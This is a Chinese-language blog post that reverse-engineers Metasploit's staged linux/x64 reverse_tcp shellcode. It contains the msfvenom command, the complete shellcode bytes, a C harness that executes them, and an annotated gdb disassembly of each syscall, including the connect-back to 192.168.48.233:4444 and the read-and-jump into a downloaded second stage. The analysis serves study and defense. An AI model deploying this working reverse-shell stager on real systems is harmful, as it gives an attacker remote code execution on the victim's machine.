分析 Metasploit linux/x64/shell/reverse_tcp shellcode
Shellcode 生成
使用 msfvenom 生成 c 格式的 staged shellcode
$ msfvenom -p linux/x64/shell/reverse_tcp -f c -a x64 --platform linux LHOST=192.168.48.233 LPORT=4444
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char code[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x11\x5c\xc0\xa8\x30\xe9\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
将其插入到如下代码中:
// shellcode.c
// shellcode testing wrapper
#include<stdio.h>
#include<string.h>
// $ msfvenom -p linux/x64/shell/reverse_tcp -f c -a x64 --platform linux LHOST=192.168.48.233 LPORT=4444
unsigned char code[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x11\x5c\xc0\xa8\x30\xe9\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
main()
{
printf("Shellcode Length: %zd\n", strlen(code));
int (*CodeFun)() = (int(*)())code;
CodeFun();
}
利用 GCC 将 shellcode.c 的源代码编译为可执行文件 shellcode,通过 -fno-stack-protector 选项禁用栈保护,-z execstack 选项标记栈是可执行的,以方便我们进一步分析。
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
使用 gdb 反汇编 shellcode
┌──(root㉿kali)-[/home/kali]
└─# gdb -q shellcode
(gdb) break *&code
Breakpoint 1 at 0x4040
(gdb) r
Starting program: /home/kali/shellcode
Shellcode Length: 55
Breakpoint 1, 0x0000555555558040 in code ()
(gdb) disas
Dump of assembler code for function code:
=> 0x0000555555558040 <+0>: xor %edi,%edi
0x0000555555558042 <+2>: push $0x9
0x0000555555558044 <+4>: pop %rax
0x0000555555558045 <+5>: cltd
0x0000555555558046 <+6>: mov $0x10,%dh
0x0000555555558048 <+8>: mov %rdx,%rsi
0x000055555555804b <+11>: xor %r9,%r9
0x000055555555804e <+14>: push $0x22
0x0000555555558050 <+16>: pop %r10
0x0000555555558052 <+18>: push $0x7
0x0000555555558054 <+20>: pop %rdx
0x0000555555558055 <+21>: syscall
0x0000555555558057 <+23>: test %rax,%rax
0x000055555555805a <+26>: js 0x5555555580ad <code+109>
0x000055555555805c <+28>: push $0xa
0x000055555555805e <+30>: pop %r9
0x0000555555558060 <+32>: push %rax
0x0000555555558061 <+33>: push $0x29
0x0000555555558063 <+35>: pop %rax
0x0000555555558064 <+36>: cltd
0x0000555555558065 <+37>: push $0x2
0x0000555555558067 <+39>: pop %rdi
0x0000555555558068 <+40>: push $0x1
0x000055555555806a <+42>: pop %rsi
0x000055555555806b <+43>: syscall
0x000055555555806d <+45>: test %rax,%rax
0x0000555555558070 <+48>: js 0x5555555580ad <code+109>
0x0000555555558072 <+50>: xchg %rax,%rdi
0x0000555555558074 <+52>: movabs $0xe930a8c05c110002,%rcx
0x000055555555807e <+62>: push %rcx
0x000055555555807f <+63>: mov %rsp,%rsi
0x0000555555558082 <+66>: push $0x10
0x0000555555558084 <+68>: pop %rdx
0x0000555555558085 <+69>: push $0x2a
0x0000555555558087 <+71>: pop %rax
0x0000555555558088 <+72>: syscall
0x000055555555808a <+74>: pop %rcx
0x000055555555808b <+75>: test %rax,%rax
0x000055555555808e <+78>: jns 0x5555555580b5 <code+117>
0x0000555555558090 <+80>: dec %r9
0x0000555555558093 <+83>: je 0x5555555580ad <code+109>
0x0000555555558095 <+85>: push %rdirs
0x0000555555558096 <+86>: push $0x23
0x0000555555558098 <+88>: pop %rax
0x0000555555558099 <+89>: push $0x0
0x000055555555809b <+91>: push $0x5
0x000055555555809d <+93>: mov %rsp,%rdi
0x00005555555580a0 <+96>: xor %rsi,%rsi
0x00005555555580a3 <+99>: syscall
0x00005555555580a5 <+101>: pop %rcx
0x00005555555580a6 <+102>: pop %rcx
0x00005555555580a7 <+103>: pop %rdi
0x00005555555580a8 <+104>: test %rax,%rax
0x00005555555580ab <+107>: jns 0x555555558074 <code+52>
0x00005555555580ad <+109>: push $0x3c
0x00005555555580af <+111>: pop %rax
0x00005555555580b0 <+112>: push $0x1
0x00005555555580b2 <+114>: pop %rdi
0x00005555555580b3 <+115>: syscall
0x00005555555580b5 <+117>: pop %rsi
0x00005555555580b6 <+118>: push $0x1000
0x00005555555580b8 <+120>: pop %rdx
0x00005555555580b9 <+121>: syscall
0x00005555555580bb <+123>: test %rax,%rax
0x00005555555580be <+126>: js 0x5555555580ad <code+109>
0x00005555555580c0 <+128>: jmp *%rsi
End of assembler dump.
接下来,我们逐一分析上述代码的六个系统调用
mmap()
调用 mmap() 系统调用来创建新的虚拟地址空间的映射,其中 push 0x9,pop rax,使得系统调用号为0x9的mmap()得以调用,从而做内存映射。
0x0000555555558040 <+0>: xor %edi,%edi ; EDI=0
0x0000555555558042 <+2>: push $0x9
0x0000555555558044 <+4>: pop %rax ; mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset)
0x0000555555558045 <+5>: cltd
0x0000555555558046 <+6>: mov $0x10,%dh ; RDX=0x1000
0x0000555555558048 <+8>: mov %rdx,%rsi ; RSI=0x1000, size_t length
0x000055555555804b <+11>: xor %r9,%r9 ; R9=0, off_t offset
0x000055555555804e <+14>: push $0x22
0x0000555555558050 <+16>: pop %r10 ; R10=0x22(34), int flags
0x0000555555558052 <+18>: push $0x7
0x0000555555558054 <+20>: pop %rdx ; RDX=0x1007, int port
0x0000555555558055 <+21>: syscall ; mmap(0, 0x1000, 0x0007, 0x22, random_address, 0)
0x0000555555558057 <+23>: test %rax,%rax ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7feaab8ab000
0x000055555555805a <+26>: js 0x5555555580ad <code+109> ; jmp exit()
socket()
创建套接字并连接到远程地址和端口,这段汇编代码用于socket通信,并返回套接字的文件描述符。用于通信的协议族被设置为PF_INET,代表IPv4互联网协议。type参数指定通信语义,并设置为SOCK_STREAM,提供有序、可靠、双向、基于连接的字节流。返回的文件描述符被保存到RDI中,以备后续使用。
0x000055555555805c <+28>: push $0xa
0x000055555555805e <+30>: pop %r9 ; r9=0xa
0x0000555555558060 <+32>: push %rax ; mmap() 映射的起始地址
0x0000555555558061 <+33>: push $0x29 ; syscall 0x29(41), int socket(int domain, int type, int protocol)
0x0000555555558063 <+35>: pop %rax
0x0000555555558064 <+36>: cltd
0x0000555555558065 <+37>: push $0x2 ; AF_INET IPV4
0x0000555555558067 <+39>: pop %rdi
0x0000555555558068 <+40>: push $0x1 ; SOCK_STREAM TCP
0x000055555555806a <+42>: pop %rsi
0x000055555555806b <+43>: syscall ; socket(2,1,0)
0x000055555555806d <+45>: test %rax,%rax ;success return file descriptor
0x0000555555558070 <+48>: js 0x5555555580ad <code+109> ; jmp exit()
connect()
这段汇编代码尝试连接到提供的 IP 和端口,如果返回错误,则 R9 寄存器减 1,并且程序执行 nanosleep() 系统调用,该系统调用将程序暂停 5 秒。每次成功执行 nanosleep() 后都会重复 connect() 调用。
0x0000555555558072 <+50>: xchg %rax,%rdi
0x0000555555558074 <+52>: movabs $0xe930a8c05c110002,%rcx ;struct sockaddr -> sa_family=0x0200, sin_port=0xb115c, sin_addr=0xc0a830e9
0x000055555555807e <+62>: push %rcx
0x000055555555807f <+63>: mov %rsp,%rsi ; rsi=sockaddr
0x0000555555558082 <+66>: push $0x10
0x0000555555558084 <+68>: pop %rdx ; rdx=0x10,socklen_t addrlen
0x0000555555558085 <+69>: push $0x2a
0x0000555555558087 <+71>: pop %rax ; syscall 0x2a(42), int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
0x0000555555558088 <+72>: syscall ; connect(fd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.48.233")}, 16) = -1
0x000055555555808a <+74>: pop %rcx ; RCX=sockaddr struct
0x000055555555808b <+75>: test %rax,%rax
0x000055555555808e <+78>: jns 0x5555555580b5 <code+117> ; connect() 成功, jmp to read()
0x0000555555558090 <+80>: dec %r9 ; loop cnt--
0x0000555555558093 <+83>: je 0x5555555580ad <code+109> ; loop cnt=0 exit()
0x0000555555558095 <+85>: push %rdi ; push fd
0x0000555555558096 <+86>: push $0x23 ; syscall 0x23(35) nanosleep(); int nanosleep(const struct timespec *req, struct timespec *rem);
0x0000555555558098 <+88>: pop %rax
0x0000555555558099 <+89>: push $0x0
0x000055555555809b <+91>: push $0x5 ; 设置等待时间为5s
0x000055555555809d <+93>: mov %rsp,%rdi ; RDI = struct timespec
0x00005555555580a0 <+96>: xor %rsi,%rsi
0x00005555555580a3 <+99>: syscall
0x00005555555580a5 <+101>: pop %rcx
0x00005555555580a6 <+102>: pop %rcx
0x00005555555580a7 <+103>: pop %rdi
0x00005555555580a8 <+104>: test %rax,%rax
0x00005555555580ab <+107>: jns 0x555555558074 <code+52> ; sleep() success jmp to connect
read()
read() 调用从套接字读取 4096 字节并将它们保存到先前映射的内存中。经过上一步,rax 值为 0,为 read 系统调用号。
0x00005555555580b5 <+117>: pop %rsi ; mmap() 映射的起始地址
0x00005555555580b6 <+118>: push $0x1000
0x00005555555580b8 <+120>: pop %rdx ; RDX = 0x1000(4096), size_t count in read() syscall
0x00005555555580b9 <+121>: syscall ; read(int fd, void *buf, size_t count);
jmp()
RSI 为 mmap() 映射的内存,在 read() 执行完之后,jmp 此处继续执行。
0x00005555555580c0 <+128>: jmp *%rsi
exit()
系统调用号 0x3C 为 exit,任何错误都跳转到此处。
0x00005555555580ad <+109>: push $0x3c
0x00005555555580af <+111>: pop %rax
0x00005555555580b0 <+112>: push $0x1
0x00005555555580b2 <+114>: pop %rdi
0x00005555555580b3 <+115>: syscall
标签:Metasploit,Reverse,syscall,pop,x48,x6a,源码,push,rax
From: https://www.cnblogs.com/wjiQWQ/p/17787781.html